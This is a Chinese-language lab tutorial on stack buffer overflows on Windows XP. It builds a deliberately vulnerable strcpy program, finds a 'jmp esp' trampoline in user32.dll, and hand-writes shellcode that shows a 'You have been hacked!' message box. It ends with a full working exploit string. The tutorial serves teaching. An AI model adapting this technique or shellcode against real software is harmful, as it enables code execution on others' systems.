緩沖區溢出漏洞的原理及其利用實戰


緩沖區溢出漏洞的原理及其利用實戰

  • 溫馨提示
    • 本文章的圖片十分重要,一定要認真的閱讀
    • 可以把該圖片下載下來,這樣的話圖片會非常清晰(右鍵->另存為)

1. 實驗環境

  • 操作場景
    • windows xp sp2
  • 實驗工具:
    • IDA Pro
    • OllyDbg

2. 緩沖區溢出漏洞原理

  • 在這里我們通過一個實驗來進行原理講解
  • 實驗過程大致如下:
    1. 分別創建含有緩沖區溢出隱患的程序,和沒有隱患的程序
    2. 判斷main函數的地址
    3. 定位調用main函數的語句
    4. 分析call語句對於棧空間的影響
    5. 分析正常程序與存在溢出問題的程序對於棧空間的影響
    6. 緩沖區溢出漏洞總結

2.1 首先我們先來編寫一個簡單的存在緩沖區溢出漏洞的程序

  • 注意:這個程序我使用的是VC++6.0進行編寫的並且在windows XP下執行。而如果你使用的是新版本的Visual Studio,由於微軟加入了GS機制來防止緩沖區溢出情況的出現,那么本實驗就有可能無法實現

  • 我們先新建一個win32控制台應用程序工程

    • 如下圖
      01_我們先新建一個win32控制台應用程序
  • 編寫一個 不存在溢出 的程序

    • 代碼如下:
    #include "stdio.h"
    #include "string.h"
    
    //十個字節
    char name[]="qianyishen";
    
    int main(){
    	//申請了11個字節的空間
    	char buffer[11];
    	//將變量name中的內容復制到buffer數組中(由於buffer申請的空間 > 10字節,所以不會發生溢出)
    	strcpy(buffer,name);
    	printf("%s\n",buffer);
    	//加上這行代碼可以使程序執行完printf之后停止,我們回車才可以繼續執行,以便我們查看執行結果
    	getchar(); 
    	return 0;
    }
    

    02_編寫一個無溢出的程序

  • 運行一下看看:

    • 注意:在編譯之前我們要先確定使用的是win32 debug版本,而不是win32 release版本
      03_選擇win32debug版本

    • 運行結果
      04_編譯並執行

    • 成功運行

  • 那么如果變量name中的數據超過11個字節會怎么樣?接下來讓我們實驗一下

    • 編寫一個 存在溢出 的程序
    #include "stdio.h"
    #include "string.h"
    
    //20個字節,我們將數據量加一倍
    char name[]="qianyishenqianyishen";
    
    int main(){
    	//申請了11個字節的空間
    	char buffer[11];
    	//將變量name中的內容復制到buffer數組中(由於buffer申請的空間 < 20字節,所以會發生溢出)
    	strcpy(buffer,name);
    	printf("%s\n",buffer);
    	//加上這行代碼可以使程序執行完printf之后停止,我們回車才可以繼續執行,以便我們查看執行結果
    	getchar();
    	return 0;
    }
    
  • 運行一下看看

    • 運行結果
    • 我們發現在雙擊exe程序后,字符可以正常的顯示,但是按下回車鍵之后,發生了報錯
      05_編譯並執行具有溢出的程序

2.2 接下來我們研究一下存在溢出的程序出錯的原因

  • 我們先來研究一下正常的程序有什么特點
    • 打開OD(即軟件:OllyDbg),並將 無溢出的正常程序 拖入其中
      06_打開OD(即軟件:OllyDbg),並將無溢出的正常程序拖入其中

    • 此時OD向我們展示的代碼是系統自動生成的,與我們本次的實驗沒有關系,我們 首先需要做的是定位main函數的位置

    • 那我們應該如何去尋找main函數的位置呢?

      1. 根據經驗直接在OD中尋找
      2. 使用工具IDA幫助定位main函數的位置(在這里使用的是這個方法)
    • 使用IDA來定位main函數的位置
      07_使用IDA定位main函數的位置

    • 由於緩沖區溢出是與棧的空間緊密相關的,因此現在我們還應當分析一下調用這個main函數前后棧空間的一些情況,所以在這里我們還需要定位一下究竟是哪條語句調用或者說是call main函數,同樣,我們仍然使用IDA來幫助我們進行定位
      08_使用IDA定位調用main函數的位置

    • 在我們定位完call main函數的位置之后,為了便於之后內容的講解,我們在這里要說明一下 call語句的原理

      • 當我們的程序要執行call的時候,它會分為兩步走:
        • 第一步:是會將call下面這條語句的地址入棧(在這里該地址為:00401699)
        • 第二步:就是jmp到這個call語句所指地址的位置
      • 對於我們的這個程序來說,call下面的這個語句,它的地址是 00401699這個地址非常非常的重要:這是因為我們的程序,它在進入每個call之前都會將其下面那條語句的地址(這里是401699)入棧,然后再去執行call語句,這樣當這個call語句執行完之后,程序再將這個地址出棧,這樣系統就能夠知道執行完call語句后下一步應該去執行哪條指令。
      • 一般來說,我們將這個地址稱為 返回地址(它告訴程序當call執行完之后,請執行這個地址處的代碼)
      • 這個 【返回地址】 在我們后面的緩沖區溢出講解里面,它的影響非常的重要,請大家一定一定要牢記
    • 現在,我們來看一下執行完call語句前后棧的情況

    • 按F9開始執行程序,然后至斷點處停下,再按F7進入call語句

    • 可以看到 call語句的下一條語句的地址:00401699 成功入棧,且跳轉到了main函數的位置
      09_我們來看一下執行完call語句前后棧的情況

    • 至此,程序已經運行到了main函數的位置,接下來我們繼續按F8執行

    • 由於我們在源程序中創建了一個11字節大小的數組空間,那么當我們進入main函數之后,首要工作就是為這個局部變量分配空間
      10_繼續執行

    • 繼續按F8進行逐步執行,直至調用strcpy函數

    • 由下圖我們可以看到,調用完strcpy函數之后,字符串已經被成功的復制,且 返回地址 和 父函數EBP 依然存在
      11_繼續按F8進行逐步執行,直至調用strcpy函數

    • 繼續按F8逐步執行

    • 可以看到,在執行到retn語句(即main函數的return)時,棧頂的值正好是返回地址:00401699

    • 執行完retn語句之后,系統也成功的跳轉至 00401699 位置處的代碼,繼續執行
      12_執行完正常的程序

    • 至此,正常程序的分析完畢

  • 接下來我們分析一下 存在溢出 的程序
    • 與上面一樣,我們先找到程序的main函數位置,並在該位置下一個斷點
    • 按F9開始運行程序
    • 接下來的程序分析我會寫在圖片中,請認真看圖片
      13_執行存在溢出的程序
  • 現在我們總結一下溢出漏洞的原理
    • 這個緩沖區溢出就是因為我們輸入了過長的字符,像這里我是輸入了20個字符,而這里本來只能容納11個字符,且緩沖區本身沒有有效的驗證機制,於是就導致過長字符將我們一直所強調的 返回地址 給覆蓋掉了,這樣當我們的函數要返回的時候,由於此時的地址是無效地址,因此就導致程序出錯。
    • 那么依據這個原理,假設我們所覆蓋的返回地址是一個有效的地址,而在該地址處又包含着有效的指令,那么我們的系統就會毫不猶豫的跳到這個地址里面去執行這個指令。
    • 因此如果想利用緩沖區溢出的漏洞,我們就可以構造出一個有效的地址出來,然后將我們想要計算機執行的代碼寫入到這個地址,這樣一來我們就通過程序的漏洞來讓計算機執行我們編寫的程序。

3. 緩沖區溢出漏洞的利用

  • 實驗過程大致如下:
    1. 精確定位返回地址的位置
    2. 尋找一個合適的地址,用於覆蓋原始地址
    3. 編寫shellcode到相應的緩沖區中
  • 實驗思路:
    1. 利用錯誤提示對話框來定位返回地址的位置
    2. 理解jmp esp的實現原理

3.1 精確定位返回地址的位置

  • 通過OD,我們可以很容易弄清楚返回地址的位置,那么如果沒有OD該怎么辦呢? 請看下面的方法:
  • 在本次實驗中,由於程序比較簡單,所以我們可以通過 錯誤提示對話框 來定位返回地址的位置。
    • 查看錯誤報告的步驟:
      14_精確定位返回地址的位置

    • 由上圖,我們可以看到,錯誤報告的address字段的值為:0x6e656873。結合上文對存在溢出程序的分析,我們知道 這個值即為覆蓋之后的返回地址 。接下來我們通過對照ASCII表來將這十六進制代碼翻譯成英文字符,看看是什么

    • 0x6e656873 -> nehs

    • 令我們驚訝的是,該十六進制翻譯成英文之后,竟然是字符串 "shen" 的反向顯示(之所以是反向顯示,是因為我們的計算機是小端顯示的),而字符串 "shen" 正是我們存在溢出程序中數組變量 name 的后四個字符(請看下圖)
      15_精確定位返回地址的位置

    • 由此可知,正是字符串 "shen" 這四個字符正好覆蓋了原始返回地址

    • 那么我們來做一個筆記

      • char name[]="qianyishenqianyishen"; --> char name[]="qianyishenqianyiXXXX";
      • 這里我們將 "shen" 使用 "XXXX" 來表示,以此來說明正是 "XXXX" 這個位置上的字符覆蓋了原始返回地址,需要我們精心的構造,而"XXXX"前面的16個字符可以是任意的字符,主要用來覆蓋EBP前面的12個字節的緩沖區和4個字節的父函數的EBP。
    • 至此,我們也就解決了緩沖區漏洞利用的第一個問題:精確定位返回地址的位置

    • 其實關於精確定位返回地址的位置的方法還有很多,限於篇幅的原因,在這里就不做一一講解

3.2 如何尋找一個合適的地址,用於覆蓋原始地址

  • 通過上文我們知道,正是 "XXXX" 覆蓋了原始返回地址,使其變為我們所精心設計的返回地址。
  • 那么我們所精心設計的返回地址應該是多少呢?
  • 在這里我們不能憑空的創造出一個地址,而是要基於一個合法的地址之上來進行研究,當然我們可以通過OD進行觀察來找到很多合適的地址的,但是用OD進行觀察的方法並不是那么的方便。
  • 事實上,解決這個問題的方法有很多,但是最為常用最為經典就是 jmp esp 這個方法,也就是說,利用esp這個跳板進行跳轉。
  • 這里的這個跳板是指程序中原有的機器代碼,它們都是能夠跳轉到一個寄存器內所存放的地址去執行,比如說像我們這個 jmp esp 或者說 call esp 或者說 jmp ecx 或者說是 call eax 等等,如果說在函數返回的時候,cpu內的寄存器剛好就是直接或者間接指向我們的這個shellcode的起始位置,那么就可以把棧內存放返回地址的那個內存單元覆蓋為相應的跳板地址。
  • 這里大家可能不太好理解,那么我們就用實際的例子來說明一下:

  • 我們先將 正常的程序 拖入OD中,分析一下
    16_如何尋找一個合適的地址,用於覆蓋原始地址

  • 通過上圖的分析我們可以得知:

    • 當main函數執行完畢后,esp就會自動變成 返回地址的下一個位置,而esp它這個變化一般來說是不受任何情況的傾向的,那么既然我們知道了這一個特性,其實就可以將返回地址(也就是上面的0012FF84位置處的值),覆蓋成jmp esp語句所在的地址。
  • 也就是說:將原始返回地址,覆蓋成jmp esp語句所在的地址之后,當main函數執行完畢,系統將會去執行那個跳板(jmp esp語句),而此時esp寄存器的值正好是 0012FF88(即:原始返回地址位置的下一個位置),於是當系統執行完jmp esp之后,就會跳轉到0012FF88這個位置,在這個位置繼續執行代碼,而恰恰這個位置正是我們shellcode代碼所在的位置。


  • 以上是返回地址沒有被覆蓋的情況,那如果返回地址被破壞了,esp還具有這個特性嗎?使用OD打開具有緩沖區溢出的程序進行分析:
    16_如何尋找一個合適的地址,用於覆蓋原始地址

  • 由上圖的分析,我們現在就可以明確的得出,esp的這個特性不會受溢出的影響,我們完全可以利用這個特性來做文章。

  • 那么,我們 如何得知 jmp esp 語句的位置地址呢

    • jmp esp 語句的機器碼為:FFE4
    • 現在我們可以編寫一個程序在user32.dll這個動態鏈接庫中查找這條指令它的地址是什么。
    • 當然,jmp esp這條語句在很多個動態鏈接庫中都存在,只是這里使用user32.dll動態鏈接庫來做例子
    • 查詢代碼如下,在這里我們將如下代碼保存為searchJmpEspInUser32dll.cpp文件
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(){
    	BYTE *ptr;
    	int position;
    	HINSTANCE handle;
    	bool done_flag = FALSE;
    	//在這里我們可以修改將要查詢的動態鏈接庫
    	//比如我們想在kernel32.dll里面尋找,那就將其改為kernel32.dll即可
    	handle = LoadLibrary("user32.dll"); 
    	if(!handle){
    		printf("load dll error!");
    		exit(0);
    	}
    	ptr = (BYTE*)handle;
    	for(position = 0; !done_flag; position++){
    		try{
    			//因為jmp esp語句的機器碼為 FFE4,所以這里要這么寫;
    			//如果你想要查詢其他語句,可以對其進行修改
    			if(ptr[position]==0xFF && ptr[position+1]==0xE4){
    				int address = (int)ptr+position;
    				printf("opcode found at 0x%x\n",address);
    			}
    		}
    		catch(...){
    			int address = (int)ptr+position;
    			printf("end of 0x%x\n",address);
    			done_flag=true;
    		}
    	}
    	getchar();
    	return 0;
    }
    
    • 我們接下來便運行這個程序
      18_我們如何得知 jmp esp 語句的位置地址呢

    • 由上圖的運行結果我們可以看到,已經查詢到了非常多的jmp esp指令的地址,這些地址我們都可以進行使用,在這里我們選擇倒數第2個jmp esp地址:0x77d9932f。

    • 也就是說,我們將要使用 0x77d9932f 來覆蓋掉程序的原始返回地址 0x00401699。這樣的話,程序在執行完main函數之后返回時,它就會直接跳到 0x77d9932f 這個位置,從而執行了這里的jmp esp指令,而執行完jmp esp指令之后,那么程序就正好會來到esp寄存器中所存儲地址的位置(即:原始返回地址位置的下一個位置),去執行該地址處的指令,而恰恰這個位置正是我們shellcode代碼所在的位置

    • 在這里請大家注意,其實獲取jmp esp的方法還是有很多的,而且不同的操作系統這個地址它有可能是不一樣的,但是有些地址在很多系統上都是通用的,關於這個通用地址大家可以自行的在網上進行搜索。

  • 好了,接下來我們再進行一次總結,我們主要總結這個char name[]="qianyishenqianyiXXXX"數組中的內容

    1. 首先,"XXXX" 前面的16個字節依然是什么內容都可以,其主要用來覆蓋EBP前面的12個字節的緩沖區和4個字節的父函數的EBP
    2. 而 "XXXX"(即原始返回地址) 將被替換為 jmp esp 指令的地址(在這里是:0x77d9932f)
    3. shellcode將緊跟在"XXXX"后面
    4. 所以name數組中最終內容的格式為:char name[]="qianyishenqianyiXXXXshellcode"

3.3 編寫shellcode到相應的緩沖區中

  • 我們之前一直在說shellcode,那么shellcode是什么呢?它其實就是一些已經編譯好的機器碼。

  • 將這些機器碼作為數據輸入,然后通過我們上文所講的方式來執行這些shellcode。

  • 在這里為了簡單起見,我們只讓程序顯示一個對話框,如下:
    19_shellcode編寫

  • 其實我們正常編寫程序來顯示這個對話框是非常簡單的,代碼如下圖:
    20_shellcode編寫

  • 而在這里,我們將要通過漏洞來調用MessageBoxA()這個函數,那么就有些復雜了

  • 為了實現函數的調用,我們的第一步工作就是獲取相關函數的地址

    • 由於我們這里是想要調用MessageBoxA()這個API函數,因此首先就需要獲取該函數的地址,而我們可以通過一個小程序來獲取該地址
    • 該小程序的代碼如下,在這里我們將代碼保存為SearchMessageBoxA.cpp文件:
    #include <windows.h>
    #include <stdio.h>
    typedef void (*MYPROC)(LPTSTR);
    int main(){
    	HINSTANCE LibHandle;
    	MYPROC ProcAdd;
    	LibHandle = LoadLibrary("user32");
    	//獲取user32.dll的地址
    	printf("user32 = 0x%x\n",LibHandle);
    	//獲取MessageBoxA的地址
    	ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
    	printf("MessageBoxA=0x%x\n",ProcAdd);
    	getchar();
    	return 0;
    }
    
    • 運行一下
      21_shellcode編寫

    • 可以看到,我已經成功的查詢到了MessageBoxA()函數的地址:0x77d5050b 。但是要注意,這個地址只針對我們目前的這個系統有效,如果你換了一個操作系統,那么這個地址有可能是不一樣的。

    • 另外,因為我們利用溢出的操作,破壞了原本的棧空間的內容,就有可能會在我們的這個對話框顯示完成之后導致程序的崩潰,所以為了謹慎起見,還需要使用EixtProcess這個函數來令程序終止,這個函數它位於 kernel32.dll里面。接下來我們查找一下該函數的地址,

    • 查找代碼如下,在這里我們將代碼保存為SearchExitProcess.cpp文件:

    #include <windows.h>
    #include <stdio.h>
    typedef void (*MYPROC)(LPTSTR);
    int main(){
    	HINSTANCE LibHandle;
    	MYPROC ProcAdd;
    	LibHandle = LoadLibrary("kernel32");
    	//獲取kernel32.dll的地址
    	printf("kernel32 = 0x%x\n",LibHandle);
    	//獲取ExitProcess的地址
    	ProcAdd = (MYPROC)GetProcAddress(LibHandle,"ExitProcess");
    	printf("ExitProcess = 0x%x\n",ProcAdd);
    	getchar();
    	return 0;
    }
    
    • 運行一下
      22_shellcode編寫

    • 可以看到,我已經成功的查詢到了ExitProcess()函數的地址:0x7c81caa2 。同樣這個地址只針對我們目前的這個系統有效,如果你換了一個操作系統,那么這個地址有可能是不一樣的。

  • 至此,我們編寫shellcode所需要的函數的地址已經查詢完畢

  • 現在我們來總結記錄一下編寫shellcode所需要的信息:

    1. jmp esp指令的地址:0x77d9932f (上文已給出)
    2. MessageBoxA()函數的地址:0x77d5050b
    3. ExitProcess()函數的地址:0x7c81caa2
    4. 字符串 "Warning" 對應的ascii碼: "\x57\x61\x72\x6E\x69\x6E\x67\x20"
    5. 字符串 "You have been hacked!(by q.y.s)" 對應的ascii碼: "\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29"
  • 在正式編寫shellcode之前,我們先來講解一下 如何利用匯編語言來實現函數的調用

    • 在匯編語言中,如果我們想要調用某個函數,一般使用call這個命令,而在call語句的后面需要跟上該函數在系統中的地址,因為我們剛才已經獲取到了MessageBoxA()函數的地址和ExitProcess()函數的地址,因此我們在這里就可以通過call + 相應的地址來調用對應的方法。
    • 但是實際上我們在編程的時候,一般還是先將地址賦給諸如eax這樣的寄存器,然后再使用call + 寄存器 來實現函數的調用。
    • 如果說我們想調用的函數 還包含有參數,那么我們就需要先 將參數利用push語句從右至左分別入棧,然后再調用call語句
    • 這里給大家舉一個例子:
      比如說我們這里有一個名為TestFun的函數,它有三個參數,分別為a,b,c:TestFun(a,b,c)
      那么我們在匯編中應使用以下方式來調用該函數
      push c
      push b
      push a
      mov eax,TestFun函數的地址
      call eax
      
  • 另外,我們還需要講解一下 在匯編中長字符串的問題該如何解決(因為MessageBoxA()函數有兩個參數是長字符串)

    • 由上文我們已經總結出 "Warning"字符串 和 "You have been hacked!(by q.y.s)" 字符串對應的ASCII碼值
      1. 字符串 "Warning" 對應的ascii碼: "\x57\x61\x72\x6E\x69\x6E\x67\x20"
      2. 字符串 "You have been hacked!(by q.y.s)" 對應的ascii碼: "\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29"
    • 那么下一步,我們將每4個ASCII碼為一組進行分組,不滿4個的使用 \x20 來進行填充(這里之所以使用 \x20 進行填充,而不是使用 \x00 進行填充就是因為我們現在所使用的是strcpy函數的漏洞,而strcpy這個函數有一個特點:一旦遇到 00,就會認為我們的字符串已經結束了,就不會拷貝 00 后的那些內容了,因此這個問題需要特別的注意。只要我們想利用strcpy這個函數的漏洞,那么我們的shellcode里面是不能出現00的)
    • 分組結果如下
    Warning:
    \x57\x61\x72\x6E
    \x69\x6E\x67\x20
    
    You have been hacked!(by q.y.s)
    \x59\x6F\x75\x20
    \x68\x61\x76\x65
    \x20\x62\x65\x65
    \x6E\x20\x68\x61
    \x63\x6B\x65\x64
    \x21\x28\x62\x79
    \x20\x71\x2E\x79
    \x2E\x73\x29\x20
    
    • 緊接着,由於我們的計算機它是小端顯示的,那么我們在使用push語句進行入棧時,入棧的順序應是 從后往前 的,這里以字符串 “Warning” 為例,入棧順序如下:
    push 0x20676e69
    push 0x6e726157  //此時,字符串“Warning”就已經入棧了
    
    • 然后,接下來的問題就是:
      • 我們應如何獲取這兩個字符串的地址,從而讓它們成為MessageBoxA的兩個參數呢?
      • 這里我們可以使用esp寄存器,因為它始終指向的是棧頂的位置。
      • 我們這里通過push語句將這個字符串入棧之后,棧頂的位置就是我們剛剛所壓入的這個字符串的位置,因此我們在每次的字符串壓棧之后,就可以使用mov指令將esp寄存器中字符串的地址賦給另一個寄存器以保存下來。這里以字符串 “Warning” 為例
      push 0x20676e69
      push 0x6e726157   
      mov eax,esp
      
    • 至此,匯編中長字符串的問題及解決已講述完畢。
  • 接下來我們將使用VC++6.0,通過內聯匯編的方式開始編寫shellcode匯編代碼,編寫好的shellcode匯編代碼如下

    • 創建一個 win32控制台程序 -> 新建C++文件,開始編寫,代碼如下:
    int main(){
    	_asm{
    		sub esp,0x50      //注意:我們在此執行該指令,目的是將棧針抬高
    		xor ebx,ebx       //用異或操作將ebx寄存器中的值清零
    
    		push ebx          //我們這里將 0 壓入棧中,目的是告訴系統:字符串到這里就已經截止了
    		push 0x20676e69   //將"Warning"字符串入棧
    		push 0x6e726157   
    		mov eax,esp       //將字符串"Warning"的地址保存至eax寄存器中
    
    		push ebx          //我們這里將 0 壓入棧中,目的是將兩個字符串分割開來
    
    		push 0x2029732e   //將"You have been hacked!(by q.y.s)"字符串入棧
    		push 0x792e7120
    		push 0x79622821
    		push 0x64656b63
    		push 0x6168206e
    		push 0x65656220
    		push 0x65766168
    		push 0x20756f59    
    		mov ecx,esp        //將字符串"You have been hacked!(by q.y.s)"的地址保存至ecx寄存器中
    
    		push ebx           //將MessageBoxA函數第4個參數入棧
    		push eax		   //將MessageBoxA函數第3個參數入棧
    		push ecx		   //將MessageBoxA函數第2個參數入棧
    		push ebx		   //將MessageBoxA函數第1個參數入棧
    		mov eax,0x77d5050b //將MessageBoxA函數函數的地址保存至eax寄存器中
    		call eax           //MessageBoxA函數的調用
    
    		push ebx           //這里之所以要push一個0,是因為ExitProcess函數其實是由一個參數的
    		mov eax,0x7c81caa2 //使用mov將ExitProcess函數的地址賦給eax寄存器
    		call eax           //ExitProcess函數的調用
    	}
    	return 0;
    }
    
    
  • 至此,shellcode匯編代碼已編寫完畢,那么我們應該如何獲取它的shellcode機器碼呢?

    • 我們可以通過VC++6.0來查看機器碼,步驟如下:
      23_shellcode編寫

    • 而上述VC++6.0中顯示的機器碼並不是我們全部都需要的,我們需要的僅僅是 shellcode匯編代碼 對應的 機器碼(即:下圖綠框中的機器碼)
      24_shellcode編寫

  • 然后我們將上述shellcode機器碼與我們之前所講的內容結合一下,便可以編寫出以下程序:

#include "stdio.h"
#include "string.h"
#include "windows.h"
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //用於覆蓋EBP前面的12個字節的空間
		"\x41\x41\x41\x41"     //覆蓋EBP
		"\x2f\x93\xd9\x77"     //返回地址
		"\x83\xEC\x50"         //注意:我們在此執行該指令,目的是將棧針抬高
		"\x33\xDB"             //用異或操作將ebx寄存器中的值清零
		"\x53"                 //我們這里將 0 壓入棧中,目的是告訴系統:字符串到這里就已經截止了
		"\x68\x69\x6E\x67\x20" //將"Warning"字符串入棧
		"\x68\x57\x61\x72\x6E"
		"\x8B\xC4"             //將字符串"Warning"的地址保存至eax寄存器中
		"\x53"                 //我們這里將 0 壓入棧中,目的是將兩個字符串分割開來
		"\x68\x2e\x73\x29\x20" //將"You have been hacked!(by q.y.s)"字符串入棧
		"\x68\x20\x71\x2E\x79"
		"\x68\x21\x28\x62\x79"
		"\x68\x63\x6B\x65\x64"
		"\x68\x6E\x20\x68\x61"
		"\x68\x20\x62\x65\x65"
		"\x68\x68\x61\x76\x65"
		"\x68\x59\x6F\x75\x20"
		"\x8B\xCC"             //將字符串"You have been hacked!(by q.y.s)"的地址保存至ecx寄存器中
		"\x53"                 //將MessageBoxA函數第4個參數入棧
		"\x50"                 //將MessageBoxA函數第4個參數入棧
		"\x51"                 //將MessageBoxA函數第2個參數入棧
		"\x53"                 //將MessageBoxA函數第1個參數入棧
		"\xB8\x0B\x05\xD5\x77" //將MessageBoxA函數函數的地址保存至eax寄存器中
		"\xFF\xD0"             //MessageBoxA函數的調用
		"\x53"                 //這里之所以要push一個0,是因為ExitProcess函數其實是由一個參數的
		"\xB8\xA2\xCA\x81\x7C" //使用mov將ExitProcess函數的地址賦給eax寄存器
		"\xFF\xD0";            //ExitProcess函數的調用
int main(){
	char buffer[11];
	LoadLibrary("user32.dll"); //由於我們的shellcode使用了MessageBoxA函數,所以需要導入user32.dll。這里為了簡單起見,我們直接在原程序導入了。而在真實環境中,你需要在shellcode中導入
	strcpy(buffer,name);
	printf("%s\n",buffer);
	getchar();
	return 0;
}
  • 現在,我們來嘗試運行一下程序,看是否成功利用了這個緩沖區溢出漏洞
    25_測試

  • perfect!!!利用成功!!!

  • 最后,我們再使用OD打開這個程序,看一看該程序中shellcode的情況:
    26_分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM